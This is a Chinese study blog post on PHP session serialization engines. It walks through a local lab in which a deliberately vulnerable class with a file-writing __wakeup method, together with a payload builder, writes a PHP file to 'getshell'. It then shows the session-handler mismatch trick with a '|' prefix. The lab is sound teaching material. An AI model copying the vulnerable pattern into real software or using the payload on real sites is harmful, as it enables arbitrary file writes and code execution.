目录

php有三种session存储处理引擎,参考lemon的表:

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

php session序列化学习 随笔 第1张

下面根据代码,来看一下session的实际情况。

<?php
    ini_set("session.serialize_handler", "php");
    //ini_set("session.serialize_handler", "php_serialize");
    //ini_set("session.serialize_handler", "php_binary");
    session_start();
    $_SESSION['test'] = $_GET['a'];

根据不同的引擎来取消上面相应的注释。这里通过将参数a的值传入session,下面看一下session的实际存储内容

php session序列化学习 随笔 第2张

首先,session_start()是什么?

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie...

php_serialize反序列化测试

首先在php.ini中将session.serialize_handler的值设为:php_serialize。
根据上面的表可以知道,这里的session文件中保存的内容就是session变量的反序列化形式。
比如simple.php:

<?php
    session_start();
    $_SESSION['a'] = '123';

访问这个页面后,后端生成了个session文件:
php session序列化学习 随笔 第3张

php session序列化学习 随笔 第4张

再将这个内容反序列化回来:
php session序列化学习 随笔 第5张

可见,后端将session存成一个索引数组的形式:

$a = [
    'key1' => 'value1',
    'key2' => 'value2',
    ...
];
serialize($a);
简单利用

下面进行一次简单的反序列化利用。
首先是one.php,用于处理首次请求,并将GET请求中的a参数赋值给$_SESSION['test']。

one.php

<?php
    session_start();
    $_SESSION['test'] = $_GET['a'];

这里用于接收我们有害的反序列化的值,然后将之存储到seesion文件中。

然后是two.php,用于从session文件中读取$_SESSION['test'],并将之反序列化。还有一个类,其__wakeup方法可以写文件。

two.php

<?php
    class student{
        var $name;
        var $age;
        var $mobile;
        function __wakeup(){
            file_put_contents($this->name, $this->age.$this->mobile);
        }
    }

    session_start();
    $a = $_SESSION['test'];
    unserialize($a);

最后是ser.php,用于构造我们的payload:

ser.php

<?php
    class student{
        var $name;
        var $age;
        var $mobile;
        function __wakeup(){
            file_put_contents($this->name, $this->age.$this->mobile);
        }
    }

    $a = new student();
    $a->name = 'hallo.php';
    $a->age = '<?php php';
    $a->mobile = 'info(); ?>';

    echo serialize($a);

这里构思一下这里攻击流程。首先是payload,可以看到ser.php这里直接被我硬编码了,根据strudent类的__wakeup()方法可以看到,name字段是文件名,age字段与mobile字段拼接后作为文件内容写入文件。
payload拿到之后先访问one.php,让后端把payload存到session文件中,然后再访问two.php,让后端从session文件中读取数据,并将之反序列化,反序列化的过程中触发__wakeup()魔术方法,导致getshell。

下面实操一下。
首先清理一下session文件

php session序列化学习 随笔 第6张

访问ser.php,获取payload

php session序列化学习 随笔 第7张

复制payload,作为参数a的值,访问one.php
php session序列化学习 随笔 第8张

这时再看一下session文件目录,发现已经生成了一个session文件。

php session序列化学习 随笔 第9张

php session序列化学习 随笔 第10张

下面再访问two.php,进行反序列化。

php session序列化学习 随笔 第11张

这时看一下目录,发现成功getshell

php session序列化学习 随笔 第12张

php session序列化学习 随笔 第13张

当使用不同的引擎来处理session文件时...

根据最开始的引擎表格可以发现,php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string。这里如果程序使用两个引擎来分别处理的话就会出现问题。

比如首先以php_serialize的格式存储,从客户端接收参数并存入session变量。
four.php

php session序列化学习 随笔 第14张

然后使用php引擎读取session文件。
five.php

php session序列化学习 随笔 第15张

下面构思一下攻击思路。首先访问four.php,在我们传入的参数最开始加一个'|',由于four.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。然后访问five.php,由于其用的是php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。
实操一下。

首先生成payload:

php session序列化学习 随笔 第16张

php session序列化学习 随笔 第17张

在payload前加个'|',作为a参数,访问four.php

php session序列化学习 随笔 第18张

这时看一下生成的session文件

php session序列化学习 随笔 第19张

框出来的部分就是我们的payload,php_serialize引擎将之作为test对应值。

php session序列化学习 随笔 第20张

然而对于php引擎来说,它看到的却是这样:

php session序列化学习 随笔 第21张

我们来访问一下five.php试试

php session序列化学习 随笔 第22张

成功触发了student类的__wakeup()方法,验证了上面的想法是正确的。

思考一下

todo

todo:php 反序列化 - Lemon

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄